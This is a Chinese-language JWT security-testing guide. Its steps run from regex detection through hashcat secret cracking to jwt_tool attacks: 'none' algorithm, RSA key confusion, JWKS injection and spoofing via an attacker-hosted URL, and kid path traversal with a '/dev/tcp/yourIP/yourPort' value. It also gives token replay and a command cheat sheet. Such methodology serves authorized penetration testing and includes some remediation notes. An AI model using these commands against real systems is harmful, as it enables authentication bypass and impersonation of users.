JWT安全基础
攻击流程
第一步:识别JWT
在Burp Suite的代理历史中,使用以下正则匹配JWT:
#网址安全的JWT版本
eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*
#所有JWT版本(误报的可能性更高)
eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*
第二步:基础六式
首先,找到需要JWT认证通过后才能访问的页面,如个人资料页,进行重发JWT,通过响应变化来发现问题。
其次,删除令牌观察结果,需要令牌则继续下一步,不需要令牌则检查标头、Cookie或POST数据等其他授权手段,同时亦可继续下一步。
再次,删除签名的最后几个字符,检查响应成功或失败。
- 如果出现错误消息,则正在检查签名-阅读任何可能泄漏敏感内容的详细错误信息。
- 如果返回的页面不同,则正在检查签名。
- 如果页面相同,则不检查签名-开始篡改有效负载声明,以确认可以做什么。
其四,重新发送同一令牌多次,穿插不发送令牌,或者一次发送无效签名(从令牌末尾删除一个或两个字符)。每次发送有效令牌后,它是否继续工作?
- 若继续工作则令牌保持静态,这是常见的行为。但是,如果相同的JWT在注销后或持续很长时间后仍然有效,则这可能表示不朽的令牌。请确保在大约24小时内重新测试该令牌,并在令牌永不过期的情况下进行报告。
- 若不继续工作则令牌已过期,或已被应用程序无效。一些系统经常使令牌失效,或者只是在正常的HTTP响应中向您发送新令牌,或者可以以编程方式调用“刷新令牌” API端点来检索新令牌。这可能意味着您需要经常切换基本测试令牌,因此在发送被篡改的令牌之前,请务必对其进行重新检查。
其五,检查令牌在代理请求历史记录中的起源。应该在服务器而不是客户端上创建它。
- 若第一次它是从客户端发出的,则客户端代码可以访问该密钥 ,找到密钥。
- 若第一次它是来自服务器,则属正常。
其六,更改能直接在页面上反映或处理的任何有效载荷,同时保持签名不变。使用脚本jwt_tool进行篡改:
python3 jwt_tool.py [token] -T
先修改头部,再修改载荷,最后选择保持原本签名。查看页面响应:
- 若页面更改被接受,则应用程序将在签名验证之前(或与之无关)处理这些更改。确认是否可以篡改重要内容。
- 若页面未反映出更改,则属正常。
第三步:破解密钥
HMAC签名密钥(例如HS256 / HS384 / HS512)使用对称加密,意味着对令牌进行签名的密钥也用于对其进行验证。
用Hashcat破解(强大):
字典攻击: hashcat -a 0 -m 16500 jwt.txt wordlist.txt
基于规则的攻击: hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule
蛮力攻击: hashcat -a 3 -m 16500 jwt.txt "?u?l?l?l?l?l?l?l" -i --increment-min=6
使用Google的免费GPU破解哈希
打开colab,新建一个Python 3记事本;代码执行程序-更改运行时类型-添加GPU硬件加速器,再点击右上方“连接”;
安装 hashcat:
! git clone https://github.com/hashcat/hashcat.git ! cd hashcat && make ! cd hashcat && make install
查看GPU OpenCL 信息:
! hashcat -I --opencl-info
破解:
hashcat -a 3 -m 16500 jwt.txt "?u?l?l?l?l?l?l?l" -i --increment-min=6
用jwt_tool破解:
python3 jwt_tool.py -d dictionary.txt -C [token]
./jwtcrack [token]
若成功破解HMAC密钥,则可以伪造令牌中的任何内容。
第四步:已知漏洞
用jwt_tool测试已知漏洞
测试漏洞-'none’算法(CVE-2015-9235):
python3 jwt_tool.py -A [token]
将去除签名后的jwt重发,若页面返回有效响应,则存在此漏洞,同时进行篡改利用。
测试漏洞-RSA密钥混淆(CVE-2016-5431):
对RSA密钥进行测试,首先需要查找公钥,然后使用正确的公钥格式,一般常见为PEM format。
找到公钥后,保存为public.pem。验证是否有效:
python3 jwt_tool.py -V -pk public.pem [token]
验证有效后,伪造新的jwt:
python3 jwt_tool.py -K -pk public.pem [token]
将伪造后的jwt重发,若页面返回有效响应,则存在此漏洞,同时进行篡改利用。
修复建议:JWT配置仅应允许HMAC算法***或***公钥算法,而不能两者都允许。
测试漏洞-JWKS注入(CVE-2018-0114):
python3 jwt_tool.py -I [token]
将生成的jwt重发,若页面返回有效响应,则存在此漏洞,同时进行篡改利用。
修复建议:JWT配置应明确定义接受哪些公共密钥进行验证。
“孩子”问题-揭示关键:
若标头中使用声明“ kid”,请检查该文件的Web目录或该文件的变体。例如,“ kid”:“ key / 12345”,则在Web根目录下查找/ key / 12345和/key/12345.pem。
修复建议:应在应用程序中为“孩子”值赋予设置的参数,并在处理之前丢弃与之不同的输入。
“孩子”问题-路径遍历:
如果标头中使用声明“ kid”,请检查是否可以在文件系统中使用其他文件。选择一个您可能能够预测其内容的文件,或者尝试“ kid”:“ / dev / tcp / yourIP / yourPort以测试连接性,甚至测试某些SSRF负载…
python3 jwt_tool.py -T [token]
修改头部kid值并保持原本签名。重发伪造后的jwt进行测试。
修复建议:应在应用程序中为“孩子”值赋予设置的参数,并在处理之前丢弃与之不同的输入。
URL篡改攻击:
先篡改url:
python3 jwt_tool.py -T [token]
再使用Burp Collaborator。若发现在Burp Collaborator中有交互,应检查它是否只是DNS流量或实际上是HTTP流量。
- DNS可能指示代理或WAF检查通信是否包含恶意有效负载,或者可能是来自服务器的后续HTTP通信的先驱。
- HTTP访问通常表明服务正在尝试进行交互-通常是收集或加载资源,或者发送数据。
测试漏洞-JWKS欺骗:
若令牌使用“ jku”标题声明,则签出提供的URL。这应该指向一个包含JWKS文件的URL,该文件包含用于验证令牌的公共密钥。篡改令牌,将jku值指向可以监视其流量的Web服务。
python3 jwt_tool.py -T [token]
如果获得HTTP交互,您现在知道服务器正在尝试从提供的URL加载密钥。 使用jwt_tool生成一个包含公共密钥的JWKS,并用私有密钥对令牌进行签名。
python3 jwt_tool.py -u http://example.com -S [token]
将生成的JWKS粘贴到http://example.com的新文件中。
重发篡改后的jwt,确认页面是否返回有效的响应。
跨服务中继攻击
一些Web应用程序使用受信任的JWT“服务”为其生成和管理令牌。在过去的某些情况下,为一个JWT服务的客户端生成的令牌实际上可以被另一个JWT服务的客户端接受。
如果发现JWT是通过第三方服务发布或更新的,则值得确定是否可以使用相同的用户名/电子邮件在该服务的另一个客户端上注册一个帐户。如果是这样,尝试获取该令牌并在对目标的请求中重播它。被接受了吗?
如果令牌被接受,那么就可能是严重问题,可以欺骗任何用户的帐户。
检查令牌过期时间
“ exp”有效负载声明用于检查令牌的到期。由于JWT通常在没有会话信息的情况下使用,因此确实需要谨慎处理-在许多情况下,捕获和重播其他人的JWT会使您伪装成该用户。
若令牌包含“ exp”声明,并且测试时间限制允许,请尝试存储令牌并在过期时间过后重播。 使用jwt_tool的-R标志读取令牌的内容,其中包括时间戳解析和到期检查(UTC中的时间戳)。
python3 jwt_tool.py -R [token]
如果令牌仍在应用程序中验证,则可能存在安全风险,因为令牌可能永不过期。
篡改和模糊测试
使用python3 jwt_tool.py -T [token]
篡改。
使用burpsuite进行模糊测试,将头部或载荷部分先base64解码再编码。
jwt_tool使用手册
处理令牌并启动交互式菜单:
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po
启动阅读器/解码器:
$ python3 jwt_tool.py JWT_HERE -R
启动eXplorer(确定潜在的弱项):
$ python3 jwt_tool.py JWT_HERE -X
根据公钥验证令牌:
$ python3 jwt_tool.py JWT_HERE -V -pk my_public.pem
开始以交互方式篡改标头,有效负载和签名:
$ python3 jwt_tool.py JWT_HERE -T
常见攻击
尝试破解密钥(HMAC算法):
$ python3 jwt_tool.py JWT_HERE -C -d dictionary.txt
尝试使用已知的公钥对不对称密码(RS-,EC-,PS-)进行“密钥混淆”攻击:
$ python3 jwt_tool.py JWT_HERE -K -pk my_public.pem
尝试使用“无”算法来创建未验证的令牌:
$ python3 jwt_tool.py JWT_HERE -A
处理JSON Web密钥存储文件,重建公共密钥,然后测试密钥以查看验证令牌的密钥:
$ python3 jwt_tool.py JWT_HERE -J -jw jwks.json
生成一个新的RSA密钥对,将公钥作为JSON Web密钥存储对象注入令牌,并使用私钥对令牌签名:
$ python3 jwt_tool.py JWT_HERE -I
欺骗远程JWKS:生成新的RSA密钥对,将提供的URL注入令牌,将公共密钥导出为JSON Web密钥存储对象(以提供的URL进行服务),并使用专用密钥对令牌进行签名:
$ python3 jwt_tool.py JWT_HERE -S -u http://example.com/jwks.json
JWT靶场
CVE-2019-7644 - JWT Signature Disclosure
CVE-2019-764:低于1.0.4的所有Auth0-WCF-Service-JWT NuGet软件包版本均在JWT签名验证失败时发出的错误消息中包含有关预期JWT签名的敏感信息。
此漏洞使攻击者可以使用此错误消息来获取任意JWT令牌的有效签名。这样,攻击者可以伪造令牌以绕过身份验证和授权机制。